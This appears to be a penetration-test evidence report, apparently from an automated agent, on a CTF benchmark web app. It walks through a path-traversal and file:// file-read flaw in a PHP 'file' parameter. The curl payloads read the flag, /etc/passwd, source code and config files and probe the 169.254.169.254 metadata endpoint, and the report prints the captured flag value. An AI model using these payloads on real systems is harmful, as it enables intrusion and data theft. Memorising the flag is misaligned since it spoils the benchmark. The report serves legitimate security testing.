# SSRF Exploitation Evidence

## Successfully Exploited Vulnerabilities

### SSRF-VULN-01: Arbitrary File Disclosure via file:// Protocol and Path Traversal

**Summary:**
- **Vulnerable location:** GET `/private.php?file=<path>` parameter
- **Impact:** Critical - Successfully extracted CTF flag, disclosed system files, application source code, and configuration files. Demonstrated complete bypass of Apache `.htaccess` protections through server-side file operations.
- **Severity:** Critical (Level 4 - Critical Information Disclosure)

**Prerequisites:**
None - vulnerability is exploitable without authentication from external network position.

**Exploitation Steps:**

**Step 1: Flag Extraction (PRIMARY OBJECTIVE - SUCCESSFUL)**

Execute the following command from external network position:

```bash
curl -i "http://localhost:39297/private.php?file=xbow-flag.txt"
```

Expected response contains:
```
HTTP/1.1 200 OK
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33

<h2>Content of xbow-flag.txt</h2>
<pre>FLAG{fed272109f3f3daf5817979ad8e11cc67110220e7cbb1a1d5e276b283c62cdcd}</pre>
```

**Result:** ✅ **FLAG CAPTURED**
- Flag value: `FLAG{fed272109f3f3daf5817979ad8e11cc67110220e7cbb1a1d5e276b283c62cdcd}`
- Single HTTP GET request without authentication
- Bypassed `.htaccess` file protection via server-side file operations

**Step 2: System File Disclosure (IMPACT ESCALATION - SUCCESSFUL)**

Access system password file using file:// protocol:

```bash
curl "http://localhost:39297/private.php?file=file:///etc/passwd"
```

Expected response contains system user accounts:
```
<h2>Content of file:///etc/passwd</h2>
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[...additional users...]</pre>
```

**Result:** ✅ **SYSTEM FILE DISCLOSURE CONFIRMED**
- Successfully accessed `/etc/passwd` via `file://` protocol
- Enumerated system user accounts
- Demonstrated file:// protocol wrapper exploitation

**Step 3: Source Code Disclosure (IMPACT ESCALATION - SUCCESSFUL)**

Retrieve application source code:

```bash
curl "http://localhost:39297/private.php?file=login.php"
```

Expected response contains complete PHP source code:
```
<h2>Content of login.php</h2>
<pre><!DOCTYPE html>
<html lang="en">
[...complete source code disclosed...]
```

**Result:** ✅ **SOURCE CODE DISCLOSURE CONFIRMED**
- Successfully accessed `login.php` source code
- Enables white-box analysis of authentication logic
- Revealed fake authentication implementation

**Step 4: Configuration File Disclosure (IMPACT ESCALATION - SUCCESSFUL)**

Access Apache access control configuration:

```bash
curl "http://localhost:39297/private.php?file=.htaccess"
```

Expected response contains:
```
<h2>Content of .htaccess</h2>
<pre>RewriteEngine On
RewriteRule ^private/?$ private.php [NC,L]

<Files "xbow-flag.txt">
    Order allow,deny
    Deny from all
</Files></pre>
```

**Result:** ✅ **CONFIGURATION DISCLOSURE CONFIRMED**
- Successfully accessed `.htaccess` file
- Revealed access control rules that were bypassed
- Demonstrated complete failure of layered security

**Step 5: Path Traversal Validation (TECHNIQUE VALIDATION - SUCCESSFUL)**

Test path traversal using relative paths:

```bash
curl "http://localhost:39297/private.php?file=../../../etc/hostname"
```

Expected response contains container hostname:
```
<h2>Content of ../../../etc/hostname</h2>
<pre>47082d8c9fb9</pre>
```

**Result:** ✅ **PATH TRAVERSAL CONFIRMED**
- Successfully traversed directory structure using `../` sequences
- No path canonicalization or validation present
- Can access arbitrary filesystem locations

**Step 6: OS Information Disclosure (IMPACT ESCALATION - SUCCESSFUL)**

Retrieve operating system details:

```bash
curl "http://localhost:39297/private.php?file=/etc/os-release"
```

Expected response contains:
```
<h2>Content of /etc/os-release</h2>
<pre>PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian</pre>
```

**Result:** ✅ **OS FINGERPRINTING SUCCESSFUL**
- Identified Debian GNU/Linux 11 (bullseye)
- Enables targeted exploitation of OS-specific vulnerabilities
- Confirmed container environment details

**Step 7: Verification that Traditional SSRF is Blocked (LIMITATION CONFIRMATION)**

Attempted cloud metadata access (AWS):

```bash
curl "http://localhost:39297/private.php?file=http://169.254.169.254/latest/meta-data/"
```

Response: `File not exists or is not readable`

Attempted internal HTTP service access:

```bash
curl "http://localhost:39297/private.php?file=http://127.0.0.1:39297"
```

Response: `File not exists or is not readable`

Attempted external URL access:

```bash
curl "http://localhost:39297/private.php?file=http://example.com"
```

Response: `File not exists or is not readable`

**Result:** ✅ **VERIFIED LIMITATION**
- HTTP/HTTPS/FTP protocols blocked by `file_exists()` validation
- Cannot access cloud metadata endpoints (169.254.169.254)
- Cannot perform traditional SSRF to internal HTTP services
- Cannot fetch external URLs

**Proof of Impact:**

**1. CTF Flag Capture (HIGHEST PRIORITY - ACHIEVED):**
- **Objective:** Extract the CTF flag value
- **Evidence:** `FLAG{fed272109f3f3daf5817979ad8e11cc67110220e7cbb1a1d5e276b283c62cdcd}`
- **Method:** Direct file disclosure via `/private.php?file=xbow-flag.txt`
- **Impact:** Complete compromise of CTF objective in single HTTP request

**2. Critical Information Disclosure (ACHIEVED):**
- **System Files:** Successfully accessed `/etc/passwd`, `/etc/hostname`, `/etc/os-release`
- **Source Code:** Disclosed `login.php` revealing authentication implementation
- **Configuration:** Accessed `.htaccess` file showing protection mechanisms
- **Impact:** Complete transparency into system configuration and application logic

**3. Security Control Bypass (ACHIEVED):**
- **Protection Mechanism:** Apache `.htaccess` deny rules on `xbow-flag.txt`
- **Bypass Method:** Server-side PHP `file_get_contents()` operates outside Apache's request processing
- **Root Cause:** Authorization checks at wrong layer (web server vs application)
- **Impact:** Demonstrated fundamental security architecture failure

**4. Path Traversal Capability (ACHIEVED):**
- **Technique:** Relative path traversal using `../` sequences
- **Validation Bypassed:** No `realpath()` canonicalization or whitelist enforcement
- **Accessible Scope:** Any file readable by `www-data` user across entire filesystem
- **Impact:** Complete filesystem enumeration capability

**Notes:**

**SSRF Type Classification:** This vulnerability is classified as **Limited SSRF - file:// Protocol Only** or more accurately as **Arbitrary File Read / Path Traversal (CWE-22, CWE-73)**. Traditional SSRF attacks targeting internal HTTP services, cloud metadata endpoints, or external URLs are NOT exploitable due to `file_exists()` validation behavior that inadvertently blocks network protocols while allowing local file access.

**Why Traditional SSRF Failed:**
The `file_exists()` PHP function uses the `stat()` system call to retrieve filesystem metadata. Network protocols (HTTP/HTTPS/FTP) do not provide filesystem stat information, causing `file_exists()` to return FALSE even when `allow_url_fopen` is enabled. This creates unintended protection against network-based SSRF while still permitting local file disclosure.

**Technical Root Cause:**
```php
// Line 26: Direct user input capture with no sanitization
$file = isset($_GET['file']) ? $_GET['file'] : null;

// Line 48: Validation check (inadequate for security)
if (file_exists($file) && is_readable($file)) {
    // Line 49: Dangerous sink - direct file read
    $content = file_get_contents($file);
    // Lines 50-51: Unsanitized output (also creates XSS vulnerability)
    echo "<h2>Content of $file</h2>";
    echo "<pre>$content</pre>";
}
```

**Missing Security Controls:**
- No authentication check on `/private.php` endpoint
- No protocol validation or allowlisting
- No path canonicalization via `realpath()`
- No file path allowlisting
- No `open_basedir` PHP configuration restriction
- No input sanitization or validation

**Reproducibility:** Every exploitation step is fully reproducible. All commands include complete URLs, parameters, and authentication context (none required). Another tester can execute these exact commands to achieve identical results.

**Impact Summary:**
- **Confidentiality:** CRITICAL - Complete file disclosure including flag, system files, and source code
- **Integrity:** None - Read-only vulnerability, no file modification capability
- **Availability:** None - No denial of service capability identified

**Attack Complexity:** LOW - Single HTTP GET request without authentication required

**CVSS Assessment:** This vulnerability represents a critical information disclosure (Level 4) with successful flag capture, system file access, and security control bypass demonstrated through concrete evidence.
